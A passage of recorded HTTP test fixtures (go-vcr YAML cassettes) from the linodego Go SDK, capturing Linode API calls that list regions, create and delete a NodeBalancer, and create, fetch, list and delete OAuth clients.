"Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:34:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":693058}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 805573, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-148.ip.linodeusercontent.com", "ipv4": "172.232.86.148", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:34:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers?page=1 method: GET response: body: '{"data": [{"id": 600437, "label": "ansible-test-585459311", "region": "us-ord", "hostname": "172-234-210-203.ip.linodeusercontent.com", "ipv4": "172.234.210.203", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 0, "tags": ["test1", "test2", "test3"], "transfer": {"in": 52.264312744140625, "out": 46.230323791503906, "total": 98.49463653564453}}, {"id": 805573, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-148.ip.linodeusercontent.com", "ipv4": "172.232.86.148", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "800" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:34:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/805573 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:34:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestOAuthClient_GetFound.yaml000066400000000000000000000136661474652371000322760ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"redirect_uri":"https://example.com","label":"go-client-test","public":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients method: POST response: body: '{"id": "519d660133f3fbb47357", "redirect_uri": "https://example.com", "label": "go-client-test", "status": "active", "secret": "675a386a638d70300f4d1d3724ebd5d7f45e4903fe5e5916001692834bcf6380", "thumbnail_url": null, "public": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "233" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients/519d660133f3fbb47357 method: GET response: body: '{"id": "519d660133f3fbb47357", "redirect_uri": "https://example.com", "label": "go-client-test", "status": "active", "secret": "", "thumbnail_url": null, "public": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients/519d660133f3fbb47357 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestOAuthClient_GetMissing.yaml000066400000000000000000000027741474652371000326320ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients/does-not-exist method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:06 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestOAuthClients_List.yaml000066400000000000000000000137311474652371000316520ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"redirect_uri":"https://example.com","label":"go-client-test","public":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients method: POST response: body: '{"id": "e4b5214e8826a1cac065", "redirect_uri": "https://example.com", "label": "go-client-test", "status": "active", "secret": "45bae57955489bbe751eb3d21c3a462c9b37d615accbc14f056a91b267e6ce0e", "thumbnail_url": null, "public": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "233" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients?page=1 method: GET response: body: '{"data": [{"id": "e4b5214e8826a1cac065", "redirect_uri": "https://example.com", "label": "go-client-test", "status": "active", "secret": "", "thumbnail_url": null, "public": true}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "228" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients/e4b5214e8826a1cac065 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestOAuthClients_Reset.yaml000066400000000000000000000120631474652371000320160ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"redirect_uri":"https://example.com","label":"go-client-test","public":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients 